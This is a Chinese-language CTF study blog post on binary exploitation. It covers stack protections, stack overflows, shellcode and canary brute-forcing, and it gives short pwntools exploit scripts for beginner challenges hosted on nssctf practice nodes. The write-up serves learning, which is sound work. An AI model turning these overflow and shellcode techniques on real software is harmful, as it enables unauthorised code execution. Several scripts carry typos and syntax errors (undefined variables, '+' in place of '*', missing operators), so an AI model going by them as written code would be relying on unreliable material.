记录PWN的学习加写了一点简单题目

栈的几个防御

RELRO: RELRO会有Partial RELRO和FULL RELRO,如果开启FULL RELRO,意味着我们无法修改got ,设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT表的攻击:(-z norelro /-z relro -z lazy /-z relro -z now)

Stack: 如果栈中开启Canary found,那么就不能用直接用溢出的方法覆盖栈中返回地址,而且要通过改写指针与局部变量、leak canaryoverwrite canary的方法来绕过;(-fno-omit-frame-pointer)

NX: NX enabled如果这个保护开启就是意味着栈中数据没有执行权限,以前的经常用的call esp;jmp esp,或者直接执行shellcode的方法就不能使用;(-z execstack)

PIE: PIE enabled如果程序开启这个地址随机化选项就意味着程序每次运行的时候地址都会变化,而如果没有开PIE的话那么No PIE(0x400000),括号内的数据就是程序的基地址 ;(no-pie)

栈溢出的原理

栈溢出的原理:程序祥栈中某个变量写入的字节超过了这个变量本身所申请的字节数,因而导致与其他相邻的栈中的其他重要数据结构被破坏,从而影响程序的正常运行;

当我们写入的字符串长度可以覆盖到程序的返回地址的时候,我们就可以控制程序的运行流程了。

cyclic

cyclic -l 0x61666161利用这个代码再配上cyclic 50就可以快速计算出栈要溢出的长度。

shellcode

shellcode是指一段用于完成莫格功能的代码,常见的功能主要是获取目标系统的shell。

shellcode的主要特点:1.短小精悍 2.通常为16进制的机械吗 3.可以重复利用。

如何编写shellcode(32)

首先在32位系统中要想编写简单的shellcode,我们就不得不说一下int 80h这个中断调用:

不同的内核态操作通过给寄存器设置不同的值,再调用指令int 80h,就可以通知内核完成不同的功能.这就是我们编写shellcode的关键点,只要我们通过特定的汇编代码把特定的寄存器设置为特定的值之后,再调用指令int 80h执行系统函数sys_execve(“/bin/sh,NULL,NULL)就可以获得系统shell了!

我们可以通过这个网站来查询我们需要的系统调用: Pinguinux - A Deep Look into the Linux Kernel: From the Basics to Infinite Possibilities/

如何编写shellcode(64)

我们知道了32位系统的shellcode的编写方法,那么64位系统的shellcode编写方法也和32位的原理一样,不过64位系统当中我们调用的是:syscall,而不是int 0x80了;

如何编写shellcode(函数)

另外我我们可以通过pwntools的shellcraft模块来产生合适的shellcode: shellcraft.sh默认产生的是32位的shellcode,如果要产生64位的shellcode需要先声明系统版本: contextos='linux,arch='amd64

绕过防御->ROP技巧
ret2dlresolve

carnary

32位的canary爆破,32位爆破3个字节,64位爆破7个字节

canary = '\x00'
for i in range(3):
    print(hex(i))
    for j in range(256):
        print(hex(j))
        p.send('a'*100 + canary + chr(j))
        a = p.recvuntil("welcome\n")
        if b"recv" in a:
            canary += chr(j)
            break
pwndbg使用

遇到开了pie保护的可以在pwndbg中使用b *rebase(0xida的偏移)就可以定位了。

pwn题题

gift_pwn

很简单的一个题目,只需要找到溢出多少,在找到system binsh的地址就行

看到buf大小为0x10,加上ret一共是0x18的大小,所以要填充0x18个字节

exp如下

from pwn import *
ip = remote("node1.anna.nssctf.cn",28741)
gift = 0x4005B6
pay = b'a' * 0x18 + p64(gift)
io.sendline(pay)
io.interactive()

babystack2.0

这个题目很怪,第一次遇到,叫整数溢出,我查了一下,这道题是属于简单的那种,我们把文件分析一下

f5看过后发现要求是nbytes小于10,大于会跳出。而(int)nbytes是带符号,所有可以利用bug,在计算机张分有符号和无符号,通过-1传入第一个数,看似是传来一个-1,但把-1换成有符号就是 一个很大的进制。之后再通过read把binsh的地址溢出

exp是发送了一个-1,然后打入payload。

from pwn import *
io = remote('node4.anna.nssctf.cn',28428)
io.recv()
io.sendline('-1')
io.recv()
pay = b'a' + 0x18 + p64(0x400726)
io.sendline(pay)
io.interactive()
retshellcode

题目给出了两个文件,一个.c的语言文件,一个运行文件。打开c语言文件

我看不出什么有用信息,所有使用ida打开另一个文件查看

更源程序差不多,先看一下开头发现有栈溢出256也就是0x100,再加上8,需要溢出0x108个。但是在这个程序里面没有看到system和binsh,而且还哦有read函数,使用认为是shellcode,而且题目也说了是shellcode。所有代码这么写

from pwn import *
io = remote('node3.anna.nssctf.cn',28889)
shell = asm(shellcraft.sh())
pay = shell + b'a' 216 + p64(0x4040A0)
io.sendline(pay)
io.interactive()

为毛里面是216捏,不应该是0x108吗,师傅给出的解释是,我没有将shellcode的长度算上,要连shellcode的长度加上溢出的长度是0x108才对,最后的那个地址又是什么捏,那个是一个可以读写执行的程序,通过这个程序来打通shellcode。

where_is_shell

又遇到新题目了,才开始我看题目的名字以为是一个libc,但是用ida静态打开文件的时候,发现又system函数,但是没有binsh,后来,看了网上大佬们的wp后才知道 system($0)获取shell权限。然后我们在函数表中找到了tips函数,在其中我们发现了$0所对应的机器码\x24\x30因此 只要我们将这个地址作为参数填充到system函数即可。

知道这个之后写exp就很简单了,只要pop一个rdi,ret一下,把这个\x24\x30的地址放假去,最后在把system函数的地址放入,就可以获取到shell了。exp如下:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值